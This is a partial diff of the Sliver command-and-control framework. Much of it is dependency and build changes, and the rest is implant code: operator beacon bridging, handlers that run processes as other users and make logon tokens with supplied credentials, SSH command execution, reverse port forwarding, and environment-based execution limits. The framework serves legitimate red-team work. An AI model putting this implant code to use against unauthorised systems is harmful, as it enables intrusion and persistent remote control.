"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -32,7 +35,10 @@ import (
var ImplantMapper *OperatorImplantMapper
const defaultImplantSleep = 5
const (
defaultImplantSleep = 5
defaultRange = "sliver"
)
type OperatorConfig struct {
Range string
@@ -44,42 +50,29 @@ type OperatorConfig struct {
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
implantBridges []*bridge.OperatorImplantBridge
conf *OperatorConfig
sync.Mutex
}
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
implantBridges: make([]*bridge.OperatorImplantBridge, 0),
conf: conf,
}
}
return ImplantMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
func (p *OperatorImplantMapper) AddImplant(a implant.ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a),
Request: implant.MakeRequest(a),
})
if err != nil {
return err
@@ -94,8 +87,11 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
if p.conf.Range == "" {
p.conf.Range = defaultRange
}
beacon := OperatorBeacon{
beacon := config.OperatorBeacon{
Name: a.GetID(),
Target: p.conf.OperatorURL,
Hostname: a.GetHostname(),
@@ -103,7 +99,7 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
Platform: a.GetOS(),
Range: p.conf.Range,
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
Links: make([]Instruction, 0),
Links: make([]config.Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: int(sleepTime),
@@ -112,19 +108,19 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
agentConfig := config.AgentConfig{
Name: a.GetID(),
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(a.GetPID()),
Executing: make(map[string]Instruction),
Executing: make(map[string]config.Instruction),
Sleep: int(sleepTime),
}
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
bridge := bridge.NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback, RunCommand)
p.Lock()
p.implantBridges = append(p.implantBridges, bridge)
p.Unlock()
@@ -132,7 +128,7 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
return nil
}
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
func (p *OperatorImplantMapper) RemoveImplant(imp implant.ActiveImplant) (err error) {
p.Lock()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
+6 -6
View File
@@ -21,16 +21,16 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
"file": {"powershell.exe", "powershell.exe", "cmd.exe", "", "", ""},
"executor": {"pwsh", "psh", "cmd", "sliver", "bof", "exec"},
},
"linux": {
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
"file": {"python3", "sh", "bash", ""},
"executor": {"python", "sh", "bash", "sliver"},
},
"darwin": {
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
"file": {"python3", "zsh", "sh", "osascript", "bash", ""},
"executor": {"python", "zsh", "sh", "osa", "bash", "sliver"},
},
}
var executors []string
+2 -2
View File
@@ -14,7 +14,7 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.6)
commonmarker (0.23.4)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
simpleidn (~> 0.1)
@@ -232,7 +232,7 @@ GEM
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.13.9)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.22.0)
+3 -3
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.19.3"
GARBLE_VER="1.19.4"
GO_VER="1.18.5"
GARBLE_VER="1.18.0"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
@@ -156,7 +156,7 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
+1 -1
View File
@@ -33,7 +33,7 @@ else
fi
# client / command / extensions
if go test -tags=client,$TAGS ./client/command/extensions ; then
if go test -tags=client,$TAGS ./client/extensions ; then
:
else
exit 1
+55 -62
View File
@@ -5,74 +5,75 @@ go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
github.com/chromedp/chromedp v0.8.6
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.3.0+incompatible
github.com/fatih/color v1.12.0
github.com/gofrs/uuid v3.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/jedib0t/go-pretty/v6 v6.4.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.16
github.com/miekg/dns v1.1.50
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.22.9
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.6.1
github.com/stretchr/testify v1.8.1
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.4.0
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.28.1
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.4.3
gorm.io/driver/postgres v1.4.5
gorm.io/driver/sqlite v1.4.3
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
modernc.org/sqlite v1.19.3
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.6.0 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
@@ -80,56 +81,48 @@ require (
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/inconshreveable/mousetrap v1.0.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.13.0 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.12.0 // indirect
github.com/jackc/pgx/v4 v4.17.2 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.16 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/xlab/treeprint v1.1.0 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.12 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/uint128 v1.2.0 // indirect
modernc.org/cc/v3 v3.40.0 // indirect
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
modernc.org/libc v1.21.2 // indirect
modernc.org/mathutil v1.5.0 // indirect
modernc.org/memory v1.4.0 // indirect
modernc.org/opt v0.1.3 // indirect
modernc.org/strutil v1.1.3 // indirect
modernc.org/token v1.0.1 // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
modernc.org/libc v1.14.12 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.7 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
)
+1105 -192
View File
File diff suppressed because it is too large. Load diff
+9 -23
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.18
go 1.17
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
@@ -10,48 +10,34 @@ require (
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.28.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
google.golang.org/protobuf v1.26.0
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/tools v0.1.7 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
)
+897 -52
View File
File diff suppressed because it is too large. Load diff
+6 -16
View File
@@ -1,17 +1,7 @@
#!/bin/bash
#!/bin/sh
set -e
cleanup() {
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
}
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
@@ -22,10 +12,6 @@ cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# Trap when a build fails so we can reset the environment
trap 'cleanup $? $LINENO' ERR
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
@@ -34,4 +20,8 @@ go mod tidy -compat=1.17
go mod vendor
# move updated files back
cleanup
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
-9
View File
@@ -182,15 +182,6 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
return ciphertext, nil
}
// GetExactOTPCode - Get the OTP code for a specific timestamp
func GetExactOTPCode(timestamp time.Time) string {
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code (%s): %s", timestamp, code)
// {{end}}
return code
}
// GetOTPCode - Get the current OTP code
func GetOTPCode() string {
now := time.Now().UTC()
-42
View File
@@ -1,42 +0,0 @@
package cryptography
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
)
var (
// TLSKeyLogger - File descriptor for logging TLS keys
TLSKeyLogger = newKeyLogger()
)
func newKeyLogger() *os.File {
// {{if .Config.Debug}}
keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
if present {
keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
return nil
}
return keyFile
}
// {{end}}
return nil
}
-6
View File
@@ -58,9 +58,6 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
// PivotHandler - Handler related to pivoting
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
// RportFwdHandler - Handler related to reverse port forwarding
type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
@@ -375,9 +372,6 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
+4 -6
View File
@@ -152,12 +152,10 @@ func runAsHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
show := 10
if runAsReq.HideWindow {
show = 0
out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
runAs := &sliverpb.RunAs{
Output: out,
}
err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
runAs := &sliverpb.RunAs{}
if err != nil {
runAs.Response = &commonpb.Response{Err: err.Error()}
}
@@ -426,7 +424,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
return
}
makeTokenResp := &sliverpb.MakeToken{}
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
if err != nil {
makeTokenResp.Response = &commonpb.Response{
Err: err.Error(),
+1 -5
View File
@@ -315,11 +315,7 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
commandReq.Username,
commandReq.Password,
commandReq.PrivKey,
commandReq.Krb5Conf,
commandReq.Keytab,
commandReq.Realm,
commandReq.Command,
)
commandReq.Command)
commandResp := &sliverpb.SSHCommand{
Response: &commonpb.Response{},
StdOut: stdout,
@@ -1,159 +0,0 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
genericRportFwdHandlers = map[uint32]RportFwdHandler{
pb.MsgRportFwdListenersReq: rportFwdListenersHandler,
pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
pb.MsgRportFwdStopListenerReq: rportFwdStopListenerHandler,
}
)
// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
func GetRportFwdHandlers() map[uint32]RportFwdHandler {
return genericRportFwdHandlers
}
func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
forwards := rportfwd.Portfwds.List()
var portfwdListeners []*pb.RportFwdListener
for _, portfwd := range forwards {
portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
ID: uint32(portfwd.ID),
BindAddress: portfwd.BindAddr,
ForwardAddress: portfwd.RemoteAddr,
})
}
data, _ := proto.Marshal(&pb.RportFwdListeners{
Listeners: portfwdListeners,
Response: &commonpb.Response{},
})
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStartListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwds := rportfwd.Portfwds.List()
for _, r := range rportfwds {
if r.BindAddr == req.BindAddress {
resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &rportfwd.ChannelProxy{
Conn: connection,
RemoteAddr: req.ForwardAddress,
BindAddr: req.BindAddress,
KeepAlivePeriod: 1000 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(req.BindAddress, channelProxy)
rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
go func() {
err := tcpProxy.Run()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Proxy error %s", err)
// {{end}}
}
}()
resp.BindAddress = req.BindAddress
resp.ForwardAddress = req.ForwardAddress
resp.BindPort = req.ForwardPort
resp.ForwardPort = req.ForwardPort
resp.ID = uint32(rportfwd.ID)
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStopListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
if rportfwd != nil {
resp.ID = uint32(rportfwd.ID)
resp.BindAddress = rportfwd.ChannelProxy.BindAddr
resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
} else {
resp.Response.Err = "Invalid ID\n"
}
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
-22
View File
@@ -30,10 +30,7 @@ import (
// {{if .Config.LimitUsername}}
"os/user"
// {{end}}
// {{if .Config.LimitLocale}}
"regexp"
// {{end}}
// {{if .Config.LimitDatetime}}
@@ -43,10 +40,6 @@ import (
// {{if or .Config.LimitHostname .Config.LimitUsername}}
"strings"
// {{else}}{{end}}
// {{if .Config.LimitLocale}}
"github.com/bishopfox/sliver/implant/sliver/locale"
// {{end}}
)
// ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -111,21 +104,6 @@ func ExecLimits() {
}
// {{end}}
// {{if .Config.LimitLocale}}
locale := locale.GetLocale()
match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
if !match {
// {{if .Config.Debug}}
if err != nil {
log.Printf("LimitLocale regexp: %s", err)
} else {
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
}
// {{end}}
os.Exit(1)
}
// {{end}}
// {{if .Config.Debug}}
log.Printf("Limit checks completed")
// {{end}}
Loaded 100 of 3162 files, more files were not shown because too many files have changed in this diff. Show more